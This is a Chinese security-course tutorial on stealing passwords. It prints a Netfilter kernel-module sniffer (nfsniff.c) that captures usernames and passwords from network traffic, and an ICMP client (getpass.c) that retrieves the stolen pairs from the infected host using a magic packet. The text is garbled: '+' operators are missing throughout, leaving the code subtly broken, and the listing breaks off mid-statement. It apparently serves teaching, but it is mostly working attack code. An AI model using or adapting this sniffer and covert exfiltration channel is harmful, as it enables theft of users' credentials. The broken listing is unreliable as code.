信息安全课程——窃取密码
- 一、
一、
安装ubantu16-64 Desktop版本
通过XShell连接虚拟机。
代码语言:javascript复制sudo apt install openssh-server
sudo apt-get install vim #安装vim,使用上下左右键
sudo apt-get install gcc-multilib
代码如下:
代码语言:javascript复制//getpass.c
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#ifndef __USE_BSD
# define __USE_BSD /* We want the proper headers */
#endif
static unsigned short checksum(int numwords, unsigned short *buff)
{
unsigned long sum;
for(sum = 0;numwords > 0;numwords--)
sum = *buff ; /* add next word, then increment pointer */
sum = (sum >> 16) (sum & 0xFFFF);
sum = (sum >> 16);
return ~sum;
}
int main(int argc, char *argv[])
{
unsigned char dgram[256]; /* Plenty for a PING datagram */
/* 接收??的buff */
unsigned char recvbuff[256];
/* iphead指向ip头部 */
struct ip *iphead = (struct ip *)dgram;
/* icmphead指向icmp头部 sizeof(ip)是跳过ip头部 */
struct icmp *icmphead = (struct icmp *)(dgram sizeof(struct ip));
/* 源地址 */
struct sockaddr_in src;
/* 目的地址 */
struct sockaddr_in addr;
/* ?? */
struct in_addr my_addr;
/* 服务器的地址?? */
struct in_addr serv_addr;
/* 源地址的大小 */
socklen_t src_addr_size = sizeof(struct sockaddr_in);
int icmp_sock = 0;
/* 缓冲区 */
int one = 1;
/* 缓冲区的头部指针 */
int *ptr_one = &one;
/* 若没有传入两个参数则直接退出 */
if (argc < 3) {
fprintf(stderr, "Usage: %s remoteIP myIPn", argv[0]);
exit(1);
}
/* 获取一个socket,协议簇用的是ipv4,AF_INET和PF_INET是一样的, SOCK_RAW表示我们自己来构建这个数据包,类型为ICMP数据包 */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %sn",
strerror(errno));
exit(1);
}
/* set the HDR_INCL option on the socket设置sock选项,使用ip协议来解析,IP_HDRINCL表示我们自己来填充数据 */
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %sn",
strerror(errno));
exit(1);
}
/* 将目的地址的协议簇设置为ipv4*/
addr.sin_family = AF_INET;
/*???*/
addr.sin_addr.s_addr = inet_addr(argv[1]);
/*???*/
my_addr.s_addr = inet_addr(argv[2]);
/*将ptr指向的内存块的第一个num字节设置为指定值*/
/*将dgram初始化为全0*/
memset(dgram, 0x00, 256);
/*将recvbuff初始化为全0*/
memset(recvbuff, 0x00, 256);
/* 为ip头部填充数据 */
iphead->ip_hl = 5; //4位 ip首部长度
iphead->ip_v = 4; //
iphead->ip_tos = 0; //8位 服务类型
iphead->ip_len = 84; //
iphead->ip_id = (unsigned short)rand(); //16位 可以初始化为0
iphead->ip_off = 0; //13位 分段偏移
iphead->ip_ttl = 128; //8位 生存时间
iphead->ip_p = IPPROTO_ICMP; //8位 icmp协议
iphead->ip_sum = 0; //校验和初始化为0
iphead->ip_src = my_addr; //???
iphead->ip_dst = addr.sin_addr; // ???
/* 为icmp头部填充数据 */
icmphead->icmp_type = ICMP_ECHO; //类型为icmp回复报文
icmphead->icmp_code = 0x5B; //watch_in()中判断的icmp_code一致
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);//icmp的校验和需要计算头部和数据部分 8字节的首部 和 34字节的数据不问???
/* 将我们构造好的包发出去 */
fprintf(stdout, "Sending request...n");
if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "nFailed sending request! %sn",
strerror(errno));
return 0;
}
fprintf(stdout, "Waiting for reply...n");
if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) {
fprintf(stdout, "Failed getting reply packet! %sn",
strerror(errno));
close(icmp_sock);
exit(1);
}
iphead = (struct ip *)recvbuff;
icmphead = (struct icmp *)(recvbuff sizeof(struct ip));
// 将获取到的包的数据部分复制到serv_addr
memcpy(&serv_addr, ((char *)icmphead 8), sizeof (struct in_addr));
fprintf(stdout, "Stolen for ftp server %s:n", inet_ntoa(serv_addr));
fprintf(stdout, "Username: %sn", (char *)((char *)icmphead 12));
fprintf(stdout, "Password: %sn", (char *)((char *)icmphead 28));
close(icmp_sock);
return 0;
}
/************************************************************************************/
//nfsniff.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
/* 使用ICMP_ECHO数据包,代码字段设置为0x5B*/
#define MAGIC_CODE 0x5B
#define REPLY_SIZE 36
/*"GPL" 是指明了 这是GNU General Public License的任意版本*/
MODULE_LICENSE("GPL");
/*ICMP有效载荷大小 计算方式是得到整个ip数据包的总长度 减去 ip头部大小 再减去 icmp头部大小*/
#define ICMP_PAYLOAD_SIZE (htons(ip_hdr(sb)->tot_len)
- sizeof(struct iphdr)
- sizeof(struct icmphdr))
/*基于内核的FTP密码嗅探器的简单概念验证。
*捕获的用户名和密码对将发送到远程主机
*当主机发送特殊格式的ICMP数据包时。在这里,我们
*应使用ICMP_ECHO数据包,其代码字段设置为0x5B
* * AND *数据包已足够
*标题后的空格,以适应4字节的IP地址和
*用户名和密码字段是最大值。15个字符
*每个加一个NULL字节。所以总ICMP有效载荷大小为36个字节。* /
/*
username和password用来保存拿到的用户名/密码对
一次只能保留一个USER / PASS对,一旦发起请求将被清除。
*/
static char *username = NULL;
static char *password = NULL;
/* 标记我们是否已经有一对用户名/密码对 */
static int have_pair = 0;
/*
追踪信息。只记录转到的USER和PASS命令相同的IP地址和TCP端口
目标ip 和 目标端口
*/
static unsigned int target_ip = 0;
static unsigned short target_port = 0;
/* 用于描述我们的Netfilter挂钩
nf_hook_ops数据结构在linux/netfilter.中定义
我们定义两个nf_hook_ops结构体,一个传入的hook 和 一个传出的hook
*/
struct nf_hook_ops pre_hook; /* 传入 */
struct nf_hook_ops post_hook; /* 传出 */
/*
查看已知为FTP数据包的sk_buff。查找USER和PASS字段,并确保它们都来自target_xxx字段中指示的一个主机
*/
static void check_http(struct sk_buff *skb)
{
/* 定义一个tcphdr结构体 *TCP */
struct tcphdr *tcp;
char *data;
char *name;
char *passwd;
char *_and;
char *check_connection;
int len,i;
/* 从套接字缓冲区skb中获取tcp首部 */
tcp = tcp_hdr(skb);
/* 系统位数导致强制类型转换错误 64位系统中指针类型8个字节,因此强转为int会出错,可以转成同样为8字节的long型
通过tcp首部位置 tcp长度*4字节 算出数据区域的位置 data */
data = (char *)((unsigned long)tcp (unsigned long)(tcp->doff * 4));
/* 判断"Upgrade-In"在data中,判断"uid"在data中,判断"password"在data中 */
if (strstr(data,"Upgrade-In") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {
/* 返回在data中首次出现Upgrade-In的地址 */
check_connection = strstr(data,"Upgrade-In");
/*返回check_connection之后首次出现uid的地址*/
name = strstr(check_connection,"uid=");
/*返回name之后首次出现&的地址*/
_and = strstr(name,"&");
/*将name往后移动4字节,因为uid=占了四字节,所以移动之后name就是所存储的uid了*/
name = 4;
/*这是uid的长度,用&位置减去uid开始的位置*/
len = _and - name;
/*在内核中给这个username分配内存大小。len 2是因为还需要结束符 */
if ((username = kmalloc(len 2, GFP_KERNEL)) == NULL)
return;
/*将username开始的len 2字节设置为0x00,其实就是初始化*/
memset(username, 0x00, len 2);
/*用一个for循环将获取的uid放到username中*/
for (i = 0; i < len; i)
{
*(username i) = name[i];
}
*(username len) = '